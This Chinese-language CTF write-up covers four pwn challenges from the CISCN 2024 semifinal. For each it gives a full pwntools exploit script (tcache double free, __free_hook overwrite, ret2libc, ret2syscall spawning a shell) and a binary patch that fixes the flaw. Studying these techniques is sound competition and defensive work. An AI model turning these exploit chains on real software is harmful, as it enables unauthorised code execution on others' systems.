ciscn2024_半决赛_华中
zach0ry

叶际参差patch实例

patch方法

lonelywolf

只能存在一个chunk,存在uaf漏洞,有tcache

lonelywolf

思路

先改key构造double free,让fd指针指向该tcache,去泄露heap_base

1
2
3
4
5
6
7
8
9
add(0x70)
delete()
edit(b"a"*0x10)
delete()
# dbg()
show()
p.recvuntil(b"Content: ")
heap_addr=u64(p.recv(6).ljust(8,b"\x00"))-0x250
print(hex(heap_addr))

image-20260212151721801

改next指针,取heap_base处的chunk,改struct的表的结构,伪造tcache都是满的,再free让函数进unsorted bin,

拿到libc_base

1
2
3
4
5
6
7
8
9
10
11
edit(p64(heap_addr))
add(0x70)
add(0x70)
edit(b"a"*0x40)
delete()
show()
# dbg()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3ebca0
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x10a41c

image-20260212152522616

通过这个unsorted改struct上的next指针(tcache bin不校验)为free_chunk的地址,把free_chunk覆盖为one_gadget

1
2
3
4
edit(b'\x03'+b'\x00'*0x3f+p64(free_hook))
add(0x10)
edit(p64(one_gadget))
delete()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
import sys
from LibcSearcher import *

file_path = "./lonelywolf"
remote_host = "node4.anna.nssctf.cn"
remote_port = 26325
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)


def add(a):
sla(b"Your choice: ",str(1))
sla(b"Index:",str(0))
sla(b"Size: ",str(a))

def edit(a):
sla(b"Your choice: ",str(2))
sla(b"Index:",str(0))
sla(b"Content: ",a)
def show():
sla(b"Your choice: ",str(3))
sla(b"Index:",str(0))

def delete():
sla(b"Your choice: ",str(4))
sla(b"Index:",str(0))


add(0x70)
delete()
edit(b"a"*0x10)
delete()
# dbg()
show()
p.recvuntil(b"Content: ")
heap_addr=u64(p.recv(6).ljust(8,b"\x00"))-0x250
print(hex(heap_addr))
# dbg()



edit(p64(heap_addr))
add(0x70)
add(0x70)
edit(b"a"*0x40)
delete()
show()
# dbg()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3ebca0
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x10a41c
# dbg()

edit(b'\x00'*0x40+p64(free_hook))
add(0x10)
edit(p64(one_gadget))
delete()


p.interactive()

2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)Pwn题解_2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)pwn题解-CSDN博客

CISCN2024]华中半决赛 PWN部分题解 - S1nyer - 博客园

通过网盘分享的文件:ciscn2024_华中赛区.zip
链接: https://pan.baidu.com/s/1CBySj_AP9wRwOlE5_7IOIQ?pwd=GAME 提取码: GAME

note

签到题 2.31的libc

并且有uaf漏洞,改unsoted bin的next为free_hook,把它覆盖为system函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import sys
from LibcSearcher import *

file_path = "./note"
remote_host = "192.168.137.1"
remote_port = 2121

context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p)

def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def sa(a, b):p.sendafter(a, b)
def ru(a):return p.recvuntil(a)


def add(size, content):
sla(b"5. exit\n", b"1")
sla(b"content: \n", str(size).encode())
sla(b"content: \n", content)

def edit(index, content):
sla(b"5. exit\n", b"2")
sla(b"index: \n", str(index).encode())
sla(b"content: \n", str(len(content)).encode())
sa(b"Content: \n", content)

def delete(index):
sla(b"5. exit\n", b"3")
sla(b"index: \n", str(index).encode())

def show(index):
sla(b"5. exit\n", b"4")
sla(b"index:", str(index).encode())

for _ in range(10):
add(0x80,b"/bin/sh\x00")

for i in range(8):
delete(7-i)
# dbg()
show(0)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ecbe0
print(hex(libc_base))

edit(1,p64(libc_base+libc.sym["__free_hook"]))
# dbg()
add(0x80,b"1111")
add(0x80,p64(libc_base + libc.sym['system']))
delete(8)

p.interactive()

patch

直接把call free给nop掉

image-20260222160215265

应用patch

image-20260222160435175

protoverflow

环境搭建

1)建 ./lib 并把“必须文件”放进去

先去2.27-3ubuntu1.6中拿到对应的ld文件

1
2
3
4
5
6
7
8
mkdir -p lib

cp -f libc-2.27.so lib/
cp -f libprotobuf.so.10 lib/
cp -f ld-2.27.so lib/

ln -sf libc-2.27.so lib/libc.so.6# 程序要找的是 libc.so.6,不是 libc-2.27.so改名
chmod +x lib/ld-2.27.so pwn

2)补齐“旧版” libstdc++ 和 libgcc(关键,否则会 GLIBC_2.3x not found)

用 Ubuntu 18.04 容器把对应 so 拷出来到你的 ./lib

1
2
3
docker run --rm -it \
-v "$PWD":/work -w /work \
ubuntu:18.04 bash

逐项解释:

  • docker run ... ubuntu:18.04 bash
    启动一个 Ubuntu 18.04 的容器,并执行 bash 让你进入交互式终端。
  • -it
    -i 保持标准输入,-t 分配伪终端,组合就是“我能在里面敲命令”。
  • --rm
    退出容器后自动删除容器(不留垃圾)。
  • -v "$PWD":/work
    把你当前目录(项目目录)挂载到容器内的 /work
    这样容器里复制出来的 so 文件能直接落到你本机项目目录。
  • -w /work
    进入容器后,默认工作目录就是 /work(省得你再 cd /work)。

容器里 /work 就是你宿主机的当前目录。

进入容器后执行:

1
2
3
4
5
6
7
8
apt update
apt install -y libstdc++6 libgcc1#更新软件源并安装库

cp -f /usr/lib/x86_64-linux-gnu/libstdc++.so.6 /work/lib/
cp -f /lib/x86_64-linux-gnu/libgcc_s.so.1 /work/lib/ 2>/dev/null || \
cp -f /usr/lib/x86_64-linux-gnu/libgcc_s.so.1 /work/lib/

exit

3)用“指定 ld + –library-path”运行(这就是“同环境”启动方式)

1
./lib/ld-2.27.so --library-path ./lib ./pwn

能正常跑并输出 Gift: ... 就说明环境启动成功。

4)一眼确认:所有关键库都从 ./lib 加载(验收)

1
2
LD_DEBUG=libs ./lib/ld-2.27.so --library-path ./lib --list ./pwn 2>&1 | \
grep -E 'libc\.so\.6|libstdc\+\+\.so\.6|libgcc_s\.so\.1|libprotobuf\.so\.10'

验收标准:最后几行必须长这样(路径是 ./lib/...):

  • libprotobuf.so.10 => ./lib/libprotobuf.so.10
  • libstdc++.so.6 => ./lib/libstdc++.so.6
  • libgcc_s.so.1 => ./lib/libgcc_s.so.1
  • libc.so.6 => ./lib/libc.so.6

5)写个 run.sh(以后别手敲,确保永远同环境)

1
2
3
4
5
6
cat > run.sh <<'EOF'
#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
exec "$DIR/lib/ld-2.27.so" --library-path "$DIR/lib" "$DIR/pwn"
EOF
chmod +x run.sh

以后运行就是:

1
./run.sh

调试也就是

gdb --args ./lib/ld-2.27.so --library-path ./lib ./pwn

6)你的 pwntools 本地调试也必须用同方式

1
io = process(["./lib/ld-2.27.so", "--library-path", "./lib", "./pwn"])

protobuf-pwn利用-先知社区

image-20260222170232392

本题真正的入口不是main,而是ParseFromArray,只有 Parse 成功 才会进入 sub_324A(),如果不能构造“合法 protobuf”,就永远进不了漏洞函数

v5 = google::protobuf::MessageLite::ParseFromArray(&unk_209080, s, v6);

从字节数组 s 中读取 v6 个字节,并将解析得到的消息存储到 unk_209080中。如果解析成功, ParseFromArray将返回true;

检验函数sub_324A,打ret2libc就好

LD_LIBRARY_PATH=. ./pwn

p = process("./protoverflow", env={"LD_LIBRARY_PATH": "."})

让程序先去本地查找配置文件

执行./gui.py提取

img

1
2
3
4
5
6
7
8
9
10
执行`./gui.py`提取

syntax = "proto2";

message protoMessage {
optional string name = 1; // 可有可无:字符串
optional string phoneNumber = 2; // 可有可无:字符串
required bytes buffer = 3; // 必须有:任意字节
required uint32 size = 4; // 必须有:32位无符号整数
}

protoc --python_out=. message.proto编译出可以导入到python的文件

(默认输出到/home/p0ach1l/.pbtk/)

image-20260225145232384

1
2
from pwn import *
import message_pb2#导入

exp

ROPgadget –binary ./libc.so.6 –only “pop|ret” | grep “pop rdi”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import message_pb2
context.arch = "amd64"
context.os = "linux"
# context.log_level = "debug"
bin_path = "./protoverflow"
ld = "./lib/ld-2.27.so"
libdir = "./lib"
libc = ELF("./lib/libc.so.6", checksec=False)
p = process([ld, "--library-path", libdir, bin_path])



p.recvuntil(b"0x")
libc_base=int(p.recv(12),16)- libc.sym["puts"]
success("libc_base: " + hex(libc_base))
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

# rop = ROP(libc)
# pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"])[0]
# ret = libc_base + rop.find_gadget(["ret"])[0]
rdi=libc_base+0x2164f
ret=libc_base+0x8aa

buf = b"a" *0x218 + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
msg = message_pb2.protoMessage()
# msg.name = b"111"
# msg.phoneNumber = b"1213"
msg.buffer = buf
msg.size = len(buf)

p.send(msg.SerializeToString())
p.interactive()

patch

思路,把size改小,让它无法溢出就好

image-20260225170149606

1
2
mov edx, dword ptr [rbp+n]   ; 3字节
mov edx, 200h ; 5字节

所以要跳转到其它段去操作

1
2
3
4
5
6
7
8
0x0331B:
jmp eh_frame
nop ;nop来补齐六个字节

eh_frame:(0x6243)
mov edx,0x200 ;设置size参数为0x200
mov rcx, [rbp-8] ;还原被覆盖的指令
jmp 0x3322 ;跳转回去

(0,0x8000]有可执行权限(可以多去看看.eh_frame/.eh_frame_hdr)

image-20260226182505253

特征

  • 连续 \x00(最常见)
  • 或连续 \x90(NOP sled)
  • 或对齐填充(CC 有时也会见到)

长度要求:至少 14 字节(你当前 trampoline 是 14 字节),建议找 ≥ 0x20 更稳。

image-20260226182038323

选取位置0x6243

image-20260226182104102

patch之后

image-20260226182301882

因为跳转的指令把下一个条mov的指令也给覆盖了,所以在跳转之后要再加上

image-20260226182211604

最后记得保存patch就好

(0,0x8000]有可执行权限(可以多去看看.eh_frame/.eh_frame_hdr)

特征

  • 连续 \x00(最常见)
  • 或连续 \x90(NOP sled)
  • 或对齐填充(CC 有时也会见到)

长度要求:至少 14 字节(你当前 trampoline 是 14 字节),建议找 ≥ 0x20 更稳。

image-20260226180632137

image-20260226181124049

go_note

go基础

C世界 Go世界
malloc runtime.mallocgc
realloc runtime.growslice
memcpy runtime.memmove
free GC 自动

go的string不是char*

1
2
3
4
string {
ptr//+0x0 数据地址
len//+0x8 长度
}

eg:s := “AAAA”

1
2
ptr → "AAAA"
len = 4

出现形式

1
2
3
4
5
content.str
content.len
or
MOVQ BX ; ptr
MOVQ CX ; len

Go 的 slice:(最关键)

✅ slice = 3个连续的8字节

1
2
3
4
5
slice {
data
len
cap
}

出现形式

1
2
3
nb->Notes.array
nb->Notes.len
nb->Notes.cap

struct

eg:

1
2
3
4
5
type Note struct {
id uint64
ptr *byte
len uint64
}

在汇编看到:

1
2
3
*(_QWORD *)(addr-24)
*(_QWORD *)(addr-16)
*(_QWORD *)(addr-8)

说明:

✅ 一次写 3 个 8 字节
✅ struct 大小 = 24

常见函数

1
2
3
runtime.growslice->append(slice, x)类似realloc(),很少是漏洞
runtime.memmove / typedslicecopy-》copy(dst, src)可能造成栈溢出漏洞
panicSliceB / panicSliceAcap
看到 立刻想到
array/len/cap slice
str+len string
growslice append
memmove memcpy
panicSlice bounds check
3×QWORD写 struct

分析

go语言主要看汇编代码和gdb调试

定位入口

1
go tool nm note | grep 'main\.'

image-20260228145449814

image-20260228150905908

最后gdb调试发现edit不限制输入

但是其实也有一个静态的插件

GoReSym

用它执行.\GoReSym.exe -t -p -strings .\note | Out-File -FilePath symbols.json -Encoding utf8提取json

脚本

修改一下脚本

with open(json_path, 'r') as rp:

修改为(增加 encoding='utf-8-sig'): with open(json_path, 'r', encoding='utf-8-sig') as rp:

在ida中File -> **Script file.**选择依次选择脚本和json文件得到

找偏移 64=0x40

image-20260228180753812

且 _OWORD v11[2]; // [rsp+0h] [rbp-40h] BYREF,存在栈溢出

但是开启了NX保护,shellcode不行,考虑ret2syscall

查找syscall

execve(rbx=”/bin/sh”, rcx=0, rdi=…)

并且下面部分还有个rcx置零指令

查找相关寄存器操作指令

ROPgadget --binary ./note | grep -E "(xor|sub|mov) (rdi|edi)" | grep "ret"

字符串放置用mov [eax], edx

ROPgadget --binary ./note | grep -E "mov .*\\[e?rax\\].*edx"

每次只能存储4个字节

image-20260228184654263

bss找一个rw段

image-20260228183256024

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import sys
from LibcSearcher import *

file_path = "./note"
remote_host = "192.168.137.1"
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)

sla(b"Your choice >",str(1))
sla(b"Please input note content:",b"aaaaaaaa")
sla(b"Your choice >",str(3))
sla(b"Please input note id: ",str(1))



#execve(rdi="/bin/sh", rsi=0, rdx=...)或execve(rbx="/bin/sh", rcx=0, rdi=...)
rax_rbx=0x404408
rdx=0x47a8fa
ret=0x401032
rbx=0x404541
rcx_0=0x40318E
#ROPgadget --binary ./note | grep -E "(xor|sub|mov) (rdi|edi)" | grep "ret"
edi_0_add_rsp_0x10_pop_rbp=0x411AEE
syscall = 0x403163
bss=0x526700
#ROPgadget --binary ./note | grep -E "mov .*\\[e?rax\\].*edx"
mov_eax_edx=0x402fd1



pay=b'a' * 0x38 + b'deadbeef'
#参数放置
pay+=p64(rax_rbx)+p64(bss)+p64(0)+p64(rdx)+b"/bin"+b"\x00"*4+p64(mov_eax_edx)
pay+=p64(rax_rbx)+p64(bss+4)+p64(0)+p64(rdx)+b"/sh"+b"\x00"*5+p64(mov_eax_edx)
#syscall触发
pay+=p64(rax_rbx)+p64(0x3b)+p64(0)
pay+=p64(rbx)+p64(bss)+p64(rcx_0)+p64(edi_0_add_rsp_0x10_pop_rbp)+p64(0)*3
pay+=p64(syscall)
sla(b"Please input new content:",pay)
# dbg()



p.interactive()

patch

直接把*(_BYTE *)v8 = *str;这条语句nop掉了,对应000000000047F3DF mov [r12], r13b这条指令

image-20260228191025989